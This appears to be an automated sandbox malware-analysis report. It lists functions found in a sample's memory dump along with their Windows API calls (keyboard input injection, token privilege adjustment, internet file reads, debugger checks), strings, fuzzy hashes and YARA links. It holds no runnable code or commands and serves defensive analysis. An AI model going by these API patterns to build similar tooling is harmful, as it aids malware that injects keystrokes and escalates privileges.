Instruction ID: 1640b8f4fd94a481fbd33643fd6fc65a1982e3c68eb92eb268071997955093bf
Opcode Fuzzy Hash: 895c9e3bdcfdbea1a645644624f5e280842434bec937025d8586cffebc55cb6e
Instruction Fuzzy Hash: AB219131B402125FD720CF2AC986F667BA5FF86325F19805CE84A8B252C775D852EB90

Function 00F38060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00F383FA
VUUU, xrefs: 00F383E8
ERCP, xrefs: 00F3813C
VUUU, xrefs: 00F3843C
VUUU, xrefs: 00F75DF0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: ee52fa150b0d321bfdb7a40187e847aa1df6fa56cd09dbe25d69c2a65509f32b
Instruction ID: ccb206e368d3a2de535de7a2017c52432a152b50cb44cab20740162e0ee78aa5
Opcode Fuzzy Hash: ee52fa150b0d321bfdb7a40187e847aa1df6fa56cd09dbe25d69c2a65509f32b
Instruction Fuzzy Hash: 2BA29371E0061ACBDF24CF58C8417ADB7B1BF44760F2481AAE819A7385DB749D82EF91

Function 00F9AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00F9AAAC
SetKeyboardState.USER32(00000080), ref: 00F9AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00F9AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00F9AB88

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: f5d18c84b19043642d570f376c1c0d9fa022b954b63eff00ee03375952a034cf
Instruction ID: 84b26512794eea4bbef3bfcd3afc16b8fcbea11d98860e4f2d26e1f7e0b090a1
Opcode Fuzzy Hash: f5d18c84b19043642d570f376c1c0d9fa022b954b63eff00ee03375952a034cf
Instruction Fuzzy Hash: 59312430E40608AFFF358F698C05BFA7BA6AB84324F04421AF185921D1D7798981F7E2

Function 00F6BB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F6BB7F

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

GetTimeZoneInformation.KERNEL32 ref: 00F6BB91
WideCharToMultiByte.KERNEL32(00000000,?,0100121C,000000FF,?,0000003F,?,?), ref: 00F6BC09
WideCharToMultiByte.KERNEL32(00000000,?,01001270,000000FF,?,0000003F,?,?,?,0100121C,000000FF,?,0000003F,?,?), ref: 00F6BC36

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: 3a3393a00e8615118f91c5e83397b1771ac243358cd2ee72d5b2f8c92ceaee43
Instruction ID: a760362af1c38ac17ff297b0b86d7cf4ed79384dc4f4143c063475f2ad4df88d
Opcode Fuzzy Hash: 3a3393a00e8615118f91c5e83397b1771ac243358cd2ee72d5b2f8c92ceaee43
Instruction Fuzzy Hash: 743125B1D04205EFCB22DF69CC8193DBBB8FF45360B14426AE090DB2A1C7319E90EB50

Function 00FACE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00FACE89
GetLastError.KERNEL32(?,00000000), ref: 00FACEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00FACEFE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 4fdcdeada9c955c20d6ce8d5213ac447a6dc19ecd271715da858741cb98082b5
Instruction ID: b600487fd7936f17155f0743db1ac62cf8d19f33793b144bb68377d82d91f49a
Opcode Fuzzy Hash: 4fdcdeada9c955c20d6ce8d5213ac447a6dc19ecd271715da858741cb98082b5
Instruction Fuzzy Hash: 43219DB1900305AFEB20DF65C989BA677F8EF41364F10442EE646D2151EB74EE08EBE0

Function 00F98298 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00F982AA

Strings

(, xrefs: 00F982F0
|, xrefs: 00F982DA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 25180d7439e4d51d554d68ec3962593f1305081ef00b64fea1d7723eb5289f43
Instruction ID: 0cdc97bb4d5d29443912151404a34bf28db9f072396bfb275a3c25cc152b1610
Opcode Fuzzy Hash: 25180d7439e4d51d554d68ec3962593f1305081ef00b64fea1d7723eb5289f43
Instruction Fuzzy Hash: E6324575A007059FDB28CF59C480A6AB7F0FF48760B15C46EE49ADB3A1EB70E942DB40

Function 00FA5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FA5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00FA5D17
FindClose.KERNEL32(?), ref: 00FA5D5F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: ecb704bafbf10ad635824e8f082d231a8a333c6e577a9ceadff19d42659c8934
Instruction ID: f02920a7837386bc3212e0bf5300015ba264873835c4f688e01561c97bd87b0b
Opcode Fuzzy Hash: ecb704bafbf10ad635824e8f082d231a8a333c6e577a9ceadff19d42659c8934
Instruction Fuzzy Hash: A6519AB5A046019FC714CF28C894E96B7E4FF4A324F14855DE99A8B3A2CB30ED05DF91

Function 00F62622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00F6271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F62724
UnhandledExceptionFilter.KERNEL32(?), ref: 00F62731

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: cdf737d026b92135263f75efab4f4f6bcc9c507a7eb3e68a87698a4ad58b6377
Instruction ID: aa50f0e8ea0ae37ae49c27ff518e97c8f8771975117eb63e6f47ee331c601a5f
Opcode Fuzzy Hash: cdf737d026b92135263f75efab4f4f6bcc9c507a7eb3e68a87698a4ad58b6377
Instruction Fuzzy Hash: A131C474D0121C9BCB61DF64DD89BD8B7B8AF08310F5041EAE80CA7260EB349F859F84

Function 00FA51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FA51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00FA5238
SetErrorMode.KERNEL32(00000000), ref: 00FA52A1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 6359fc18905a1f505a57147ead1fffdae33d494a7169f398c26ac87118af7034
Instruction ID: 25308d00f9d389e5db33958872251870396adf2caadd8542dde3d59c72c643cc
Opcode Fuzzy Hash: 6359fc18905a1f505a57147ead1fffdae33d494a7169f398c26ac87118af7034
Instruction Fuzzy Hash: E5313A75A00518DFDB00DF55D884EADBBB4FF49318F088099E809AB362DB35E856DBA0

Function 00F916C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00F4FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00F50668
Part of subcall function 00F4FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00F50685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F9170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F9173A
GetLastError.KERNEL32 ref: 00F9174A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 68c88d44bd8c519b8a6c4dd5d41d3ac4a6631e6c9c07142a9019b492131f5a83
Instruction ID: 1d73f5e0a609695443ed52554b5a6938f32c067dc32830fb674ef069f4d237cc
Opcode Fuzzy Hash: 68c88d44bd8c519b8a6c4dd5d41d3ac4a6631e6c9c07142a9019b492131f5a83
Instruction Fuzzy Hash: 4011C4B2800309AFE7189F54DC86D6ABBB9FF44714B24852EE45A53241EB70BC419A60

Function 00F9D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F9D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00F9D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F9D650

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 1fa91a21925db4634610c38ed7c7f2d9a9150e5d9e9e3b1ef4d52b183993a902
Instruction ID: 82710b4f6cba75c2fae74ca30833235fc0d938af2c221553868c2f7bda83094f
Opcode Fuzzy Hash: 1fa91a21925db4634610c38ed7c7f2d9a9150e5d9e9e3b1ef4d52b183993a902
Instruction Fuzzy Hash: 66115E75E05228BFEB108F95ED45FAFBBBCEB45B60F108115F908E7290D6704A059BE1

Function 00F91663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00F9168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00F916A1
FreeSid.ADVAPI32(?), ref: 00F916B1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 0529607bfb9d72f8595a7e4e500431417560792c2ffd438632801ec39053edff
Instruction ID: 203dfa4fc99da7a89ff49698e5287be191b9e1af6ca1893c29c269716ebed428
Opcode Fuzzy Hash: 0529607bfb9d72f8595a7e4e500431417560792c2ffd438632801ec39053edff
Instruction Fuzzy Hash: 19F0F471D9030DFBEF00DFE49D8AEAEBBBCFB08604F504565E901E2181E774AA449A94

Function 00F8D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00F8D28C

Strings

X64, xrefs: 00F8D2A8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 3fa63bfafea569ae8f68cd65697c7dec05111c013a0c5c4c7c9d7ecfd28ccd59
Instruction ID: 8affc8792f5aa33faeba8ff73963a464c8ab88c62b45b373dcb90dfedea52fe6
Opcode Fuzzy Hash: 3fa63bfafea569ae8f68cd65697c7dec05111c013a0c5c4c7c9d7ecfd28ccd59
Instruction Fuzzy Hash: 36D0CAB680112DEACB94DBA0EC89EDAB7BCBB04305F100292F50AE2040DB309648AF20

Function 00F5CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: 53e11532cc5bffaa92608796a89bfb0d3eefd482cd5f151d3e5ad8e2eeb07810
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 92022D71E002199FDF14CFA9C8806ADBBF1EF48325F25816AD91AE7380D731AA45DBD0

Function 00FA68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FA6918
FindClose.KERNEL32(00000000), ref: 00FA6961

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6e5a2ea2020aa0e1fa7b3ca92c6fd3114713f3c41d38b0dbf2c762599cf29d6f
Instruction ID: b440da97c987798acfe0d4217469125397ef1408ad72631ca1f5205f208f438f
Opcode Fuzzy Hash: 6e5a2ea2020aa0e1fa7b3ca92c6fd3114713f3c41d38b0dbf2c762599cf29d6f
Instruction Fuzzy Hash: 391190756042009FC710DF29D889A16BBE5FF89328F19C699E4698F6A2CB34EC05DBD1

Function 00FA37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00FB4891,?,?,00000035,?), ref: 00FA37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00FB4891,?,?,00000035,?), ref: 00FA37F4

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: e6fb443bbc6874027ea47ee164e6835f36383902ed750b087bc5e83f9d6b0f50
Instruction ID: 186bd173f8de30a037d8943a0a617b0de1436a2dbe76103e62f59a3658dbee96
Opcode Fuzzy Hash: e6fb443bbc6874027ea47ee164e6835f36383902ed750b087bc5e83f9d6b0f50
Instruction Fuzzy Hash: 2AF0E5B16083292AE72057669C4DFEB3AAEEFC5771F000165F50DD3281D9A09904D6F0

Function 00F9B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00F9B25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00F9B270

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: f70912de191e22726b971de77cc032a313982c01ba9d507813fc5c2cb273f007
Instruction ID: 095445b84ff9a808050496ba57074bbc00f0a1a0cbfd93a5eada5d0fa99c56fa
Opcode Fuzzy Hash: f70912de191e22726b971de77cc032a313982c01ba9d507813fc5c2cb273f007
Instruction Fuzzy Hash: 6FF06D7180424DABEF058FA0C806BAE7BB0FF04305F00800AF955A6191C3798201AF94

Function 00F910BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F911FC), ref: 00F910D4
CloseHandle.KERNEL32(?,?,00F911FC), ref: 00F910E9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: fe6682a209c7f25f4dbb178da2c5c12effa89fe2aaccdd6f4a351bf218c011bf
Instruction ID: 94ef9995e96c1322fdc4169d3f848e2dc2477998fda235c94d9ee14a8570df20
Opcode Fuzzy Hash: fe6682a209c7f25f4dbb178da2c5c12effa89fe2aaccdd6f4a351bf218c011bf
Instruction Fuzzy Hash: 3FE04F32404600AEF7252B11FD06E737BA9FB04320B14882DF8AA814B1DB626C90FB50

Function 00F3CAF0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00F80C40

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: f2af5f673f3ae9fe4f1e1148bf485cf1e2ab5f8d1e8d284eadda00553fc02a92
Instruction ID: 085123a96a1dbe96973f7ed86b3b036869eb82dbd4223379f0519aae45861312
Opcode Fuzzy Hash: f2af5f673f3ae9fe4f1e1148bf485cf1e2ab5f8d1e8d284eadda00553fc02a92
Instruction Fuzzy Hash: B832BE35D00218DBCF14EF94C885BEDB7B5BF05324F548059E806BB292DB79AD49EBA0

